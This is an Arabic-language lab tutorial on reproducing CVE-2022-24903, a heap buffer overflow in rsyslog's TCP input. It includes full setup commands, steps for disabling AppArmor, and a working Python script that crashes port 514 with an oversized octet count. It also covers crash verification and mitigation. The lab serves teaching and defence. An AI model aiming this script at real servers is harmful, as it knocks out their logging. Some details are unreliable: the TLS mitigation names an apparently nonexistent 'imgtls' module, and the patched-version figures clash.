
CVE-2022-24903 تجاوز سعة المخزن المؤقت المستند إلى الكومة
المؤلف: Andrew Beshay Mousa
مختبر عملي تطبيقي يوضح ثغرة تجاوز سعة المخزن المؤقت في الكومة في rsyslog.
بيئة مختبرية عملية لإعادة إنتاج وفهم ثغرة تجاوز سعة المخزن المؤقت في الكومة في rsyslog (CVE-2022-24903) عبر تأطير عدّاد الأوكتيت (octet-counted framing) في استقبال syslog عبر TCP.
CVE-2022-24903 هي ثغرة تجاوز سعة المخزن المؤقت في الكومة في وحدة استقبال syslog عبر TCP في rsyslog (imtcp) عند استخدام تأطير عدّاد الأوكتيت (RFC 5425).
يمكن للمهاجم إرسال رسالة syslog عبر TCP مصمَّمة بعناية مع بادئة عدّاد أوكتيت طويلة بشكل مفرط، مما يتسبب في كتابة rsyslog خارج حدود مخزن مؤقت مخصص من الكومة، وينتج عن ذلك تعطيل الخدمة (DoS) أو تلف محتمل في الذاكرة.
| السمة | القيمة |
|---|---|
| معرف CVE | CVE-2022-24903 |
| الإصدارات المتأثرة | rsyslog < 8.2204.1 |
| ناقل الهجوم | الشبكة |
| المنفذ | 514/TCP |
| الوحدة | imtcp (إدخال TCP) |
| الأثر | DoS / تلف الكومة |
| احتمالية RCE؟ | لا (تقدير البائع) |
+----------------------------------------------------------+
| Network: Host-Only |
| Subnet: 192.168.56.0/24 |
+--------------------------+-------------------------------+
| | |
| +---------------+ | +--------------------+ |
| | [Attacker] | | | [Target] | |
| | Kali Linux |<-----|----->| Ubuntu 22.04 | |
| | | TCP | | rsyslog 8.2001.0 | |
| | 192.168.56.10| 514 | | 192.168.56.20 | |
| | RAM: 2GB | | | RAM: 1GB | |
| | CPU: 1 | | | CPU: 1 | |
| +---------------+ | +--------------------+ |
| | |
+----------------------------------------------------------+
| الجهاز الافتراضي | نظام التشغيل | الدور | IP | الذاكرة | المعالج |
|---|---|---|---|---|---|
| الهدف | Ubuntu 22.04 | خادم rsyslog المُعرَّض للثغرة | 192.168.56.20 | 1 GB | 1 |
| المهاجم | Kali Linux | مرسل الاستغلال | 192.168.56.10 | 2 GB | 1 |
ملاحظة: يمكنك استخدام أي إصدار من أوبونتو (20.04 أو 22.04 أو 24.04) كجهاز هدف. المفتاح هو التثبيت اليدوي لحزمة rsyslog 8.2001.0 المُعرَّضة للثغرة
.deb.
في syslog عبر TCP (RFC 5425)، تُسبَق الرسائل بطولها بالبايتات:
123 <34>1 2024-01-01T00:00:00Z host app - - - message\n
└─┘
octet count (3 digits = 123 bytes follow)
في إصدارات rsyslog المُعرَّضة للثغرة، يقوم محلل عدّاد الأوكتيت بما يلي:
// Simplified vulnerable logic:
char buffer[20]; // Small heap buffer
int i = 0;
while (isdigit(ch)) { // Read digits
buffer[i++] = ch; // Write to buffer
// MISSING: if (i >= 20) break;
ch = next_char();
}
النتيجة: إرسال 9999... (5000+ رقم) يتجاوز سعة المخزن المؤقت في الكومة، مما يُتلف الذاكرة المجاورة.
0-9)في برنامج إدارة الأجهزة الافتراضية لديك، أنشئ شبكة Host-Only:
192.168.56.0/24اربط الجهازين الافتراضيين بهذه الشبكة.
sudo nano /etc/netplan/00-installer-config.yaml
الصق:
network:
version: 2
ethernets:
enp0s3:
dhcp4: no
addresses:
- 192.168.56.20/24
طبّق:
sudo netplan apply
تحقق:
ip addr show | grep 192.168.56.20
sudo systemctl stop rsyslog.service syslog.socket
sudo systemctl disable rsyslog.service syslog.socket
sudo systemctl mask rsyslog.service syslog.socket
sudo apt-get remove --purge -y rsyslog
sudo apt-get autoremove -y
cd /tmp
wget http://security.ubuntu.com/ubuntu/pool/main/r/rsyslog/rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo dpkg -i rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo apt-get install -f -y
sudo apt-mark hold rsyslog
إذا واجهت خطأ قفل dpkg:
sudo kill -9 <PID> sudo rm -f /var/lib/dpkg/lock-frontend sudo dpkg --configure -a
تحقق من الإصدار:
rsyslogd -v | head -2
الناتج المتوقع:
rsyslogd 8.2001.0
قد يمنع AppArmor rsyslog من العمل بشكل صحيح مع الحزمة القديمة:
sudo systemctl stop apparmor
sudo systemctl disable apparmor
sudo nano /etc/rsyslog.conf
امسح محتوى الملف والصق:
module(load="imtcp")
input(type="imtcp" port="514")
*.* /var/log/all-messages.log
sudo ufw allow 514/tcp
sudo ufw --force enable
sudo systemctl unmask rsyslog.service syslog.socket
sudo systemctl restart rsyslog
sudo systemctl status rsyslog --no-pager
تحقق من الاستماع:
sudo ss -tlnp | grep 514
المتوقع:
LISTEN 0 25 0.0.0.0:514 users:(("rsyslogd",pid=...,fd=4))
sudo nano /etc/network/interfaces
الصق:
auto eth0
iface eth0 inet static
address 192.168.56.10
netmask 255.255.255.0
أو إذا كنت تستخدم Netplan:
sudo nano /etc/netplan/01-netcfg.yaml
network:
version: 2
ethernets:
eth0:
dhcp4: no
addresses:
- 192.168.56.10/24
sudo netplan apply
cd ~/Desktop
nano exploit.py
الصق:
#!/usr/bin/env python3
"""
CVE-2022-24903 rsyslog Heap Buffer Overflow PoC
Target: rsyslog 8.2001.0 on TCP port 514
Author: Andrew Beshay Mousa
"""
import socket
import sys
TARGET = "192.168.56.20" # Change to your Target IP
PORT = 514
def exploit():
"""
Send a crafted TCP syslog message with an excessively long octet-count prefix.
The octet-count parser writes digits to a heap buffer without bounds checking,
causing a heap buffer overflow.
"""
# Create a massive octet count string (5000+ digits)
# This overflows the heap buffer allocated for parsing the count
overflow_digits = b"9" * 5000
# The rest of the message (parser will crash before processing this)
syslog_msg = b" <1>test crash message\n"
payload = overflow_digits + syslog_msg
print(f"[*] Target: {TARGET}:{PORT}")
print(f"[*] Payload size: {len(payload)} bytes")
print(f"[*] Octet count digits: {len(overflow_digits)}")
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((TARGET, PORT))
print(f"[*] Connected. Sending payload...")
sock.sendall(payload)
# Try to receive (likely won't get anything back after crash)
try:
response = sock.recv(1024)
print(f"[+] Received: {response}")
except socket.timeout:
print("[!] No response - target may have crashed!")
sock.close()
print("[*] Exploit completed.")
except ConnectionRefusedError:
print(f"[-] Connection refused - is rsyslog running on {TARGET}:{PORT}?")
sys.exit(1)
except BrokenPipeError:
print("[!] Connection broken - target likely crashed mid-transmission!")
if __name__ == "__main__":
print("=" * 50)
print("CVE-2022-24903 rsyslog Heap Buffer Overflow")
print("=" * 50)
exploit()
اجعل الملف قابلًا للتنفيذ:
chmod +x exploit.py
من جهاز المهاجم، تحقق من الاتصال:
nc -zv 192.168.56.20 514
المتوقع:
(UNKNOWN) [192.168.56.20] 514 (shell) open
python3 ~/Desktop/exploit.py
الناتج المتوقع:
==================================================
CVE-2022-24903 rsyslog Heap Buffer Overflow
==================================================
[*] Target: 192.168.56.20:514
[*] Payload size: 5027 bytes
[*] Octet count digits: 5000
[*] Connected. Sending payload...
[!] No response - target may have crashed!
[*] Exploit completed.
على الجهاز الهدف، تحقق من الانهيار:
ps aux | grep rsyslog
إذا لم يكن هناك أي مخرجات -> فقد انهار rsyslog
sudo dmesg | tail -10
الناتج المتوقع:
audit: in:imtcp[24775] general protection fault ip:76bea758b7dd sp:... error:0 in libc.so.6[...]
أو:
rsyslogd[...]: segfault at ... ip ... sp ... error 4 in rsyslogd[...]
sudo journalctl -u rsyslog --no-pager | tail -10
لتأكيد إمكانية تكرار الانهيار:
sudo systemctl restart rsyslog
sudo ss -tlnp | grep 514
ثم أعد تشغيل الاستغلال من Kali. يجب أن يحدث الانهيار مرة أخرى.
| المشكلة | الحل |
|---|---|
Connection refused | rsyslog لا يعمل أو لا يستمع على TCP 514. تحقق من sudo systemctl status rsyslog و `sudo ss -tlnp |
Unit rsyslog.service is masked | نفّذ sudo systemctl unmask rsyslog.service syslog.socket |
dpkg frontend lock | نفّذ sudo kill -9 <PID> ثم sudo rm -f /var/lib/dpkg/lock-frontend |
| AppArmor DENIED في dmesg | نفّذ sudo systemctl stop apparmor && sudo systemctl disable apparmor |
| إصدار rsyslog هو 8.2112+ | لقد ثبّت الإصدار المُصحَّح. قم بتنزيل وتثبيت rsyslog_8.2001.0-1ubuntu1_amd64.deb يدويًا |
| لا يحدث انهيار بعد الاستغلال | زد حجم الحمولة إلى b"9" * 20000 |
sudo apt-mark unhold rsyslog
sudo apt-get update
sudo apt-get install rsyslog
تحقق من الإصدار المُصحَّح:
rsyslogd -v | head -2
يجب أن يكون 8.2204.1 أو أحدث.
علّق في /etc/rsyslog.conf على:
# module(load="imtcp")
# input(type="imtcp" port="514")
إذا كان syslog عبر TCP مطلوبًا، فاستخدم النقل المشفَّر:
module(load="imgtls")
input(type="imgtls" port="6514")
اقصر منفذ TCP 514 على المضيفين الموثوقين فقط:
sudo ufw allow from 192.168.56.10 to any port 514 proto tcp
هذا المختبر لأغراض تعليمية وبحثية فقط. لا تستخدم هذا الاستغلال ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها. لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام هذه المعلومات.
هذا المشروع مرخّص بموجب رخصة MIT.
صُنع بالقهوة والفضول بواسطة Andrew Beshay Mousa.